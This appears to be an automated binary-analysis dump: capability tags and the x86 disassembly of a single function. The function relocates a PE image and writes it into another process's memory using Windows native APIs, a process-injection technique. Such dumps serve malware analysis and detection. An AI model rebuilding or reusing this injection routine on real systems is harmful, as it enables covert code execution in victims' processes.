Function at 0x4064c0
Capabilities:
Access pe header
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
mov esi, dword [ebp + 8]
mov ebx, ecx
push edi
push ecx
mov eax, esi
mov dword [ebp - 0x30], ebx
shr eax, 0xc
lea ecx, [ebp - 0x24]
mov edi, edx
mov dword [ebp - 0x3c], esi
xorps xmm0, xmm0
mov dword [ebp - 0x2c], edi
push eax
movups xmmword [ebp - 0x24], xmm0
call fcn.00406af0
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x38], eax
test eax, eax
jne 0x406517
xor bl, bl
jmp 0x40675a
xor esi, esi
cmp dword [ebp - 0x18], esi
jbe 0x40656b
sub eax, edi
mov dword [ebp - 0xc], eax
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push ecx
push 0x1000
add eax, edi
push eax
push edi
push ebx
call dword [sym.imp.ntdll.dll_NtReadVirtualMemory]
test eax, eax
js 0x406559
mov eax, dword [ebp - 0x24]
mov ecx, esi
shr ecx, 5
lea edx, [eax + ecx*4]
mov ecx, esi
mov eax, dword [edx]
and ecx, 0x1f
bts eax, ecx
mov dword [edx], eax
mov eax, dword [ebp - 0xc]
inc esi
add edi, 0x1000
cmp esi, dword [ebp - 0x18]
jb 0x406523
mov edi, dword [ebp - 0x2c]
mov ebx, dword [ebp - 0x38]
push ebx
mov dword [ebp - 0x34], 0
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
jne 0x406584
xor bl, bl
jmp 0x4065d9
test byte [eax + 0x16], 1
mov edx, dword [eax + 0x34]
mov dword [ebp - 0x34], edx
mov dword [eax + 0x34], edi
jne 0x4065d7
mov ecx, dword [eax + 0xa4]
test ecx, ecx
je 0x4065d7
mov eax, dword [eax + 0xa0]
test eax, eax
je 0x4065d7
add eax, ebx
sub edi, edx
lea esi, [ecx + eax]
cmp eax, esi
jae 0x4065d7
mov edx, dword [eax + 4]
test edx, edx
je 0x4065d7
mov ecx, dword [eax]
add eax, 8
push edi
push eax
lea eax, [edx - 8]
add ecx, ebx
shr eax, 1
push eax
push ecx
call dword [sym.imp.ntdll.dll_LdrProcessRelocationBlock]
test eax, eax
je 0x406580
cmp eax, esi
jb 0x4065b2
mov bl, 1
mov edi, dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
xor esi, esi
cmp dword [ebp - 0x18], esi
jbe 0x406694
mov eax, dword [ebp - 0x38]
mov edi, eax
sub dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x24]
mov ecx, esi
shr ecx, 5
lea edx, [eax + ecx*4]
mov ecx, esi
and ecx, 0x1f
mov eax, 1
shl eax, cl
test dword [edx], eax
je 0x40667e
mov eax, dword [ebp - 0x2c]
add eax, edi
mov dword [ebp - 0xc], 0x1000
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x28]
push eax
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0x28], 0
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test eax, eax
js 0x40667c
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push dword [ebp - 0xc]
push edi
push dword [ebp - 0x10]
push dword [ebp - 0x30]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x40667c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x28]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x30]
call dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
shr eax, 0x1f
xor al, 1
jne 0x40667e
xor bl, bl
inc esi
add edi, 0x1000
cmp esi, dword [ebp - 0x18]
jb 0x4065f2
mov edi, dword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
test bl, bl
je 0x406749
mov esi, dword [ebp - 0x30]
xor bl, bl
push 4
push 0x3000
push 0x1000
push dword [ebp - 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x406749
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x1000
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x10], 0
push eax
push esi
call edi
test eax, eax
js 0x406749
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push dword [ebp - 0xc]
push dword [ebp - 0x38]
push dword [ebp - 0x28]
push esi
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x406749
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x28]
push eax
push esi
call edi
shr eax, 0x1f
xor al, 1
je 0x406749
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 0
push eax
push 2
push 0x1000
push dword [ebp - 0x34]
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
movzx ebx, bl
mov eax, 1
cmovne ebx, eax
push 0x4000
push dword [ebp - 0x3c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [ebp - 0x24]
test edx, edx
je 0x40678d
mov ecx, dword [ebp - 0x1c]
mov eax, edx
sub ecx, edx
and ecx, 0xfffffffc
cmp ecx, 0x1000
jb 0x406783
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4067a0
push ecx
push edx
call fcn.00418bd9
add esp, 8
mov ecx, dword [ebp - 8]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00418bcb
mov esp, ebp
pop ebp
ret
call fcn.00421424
int3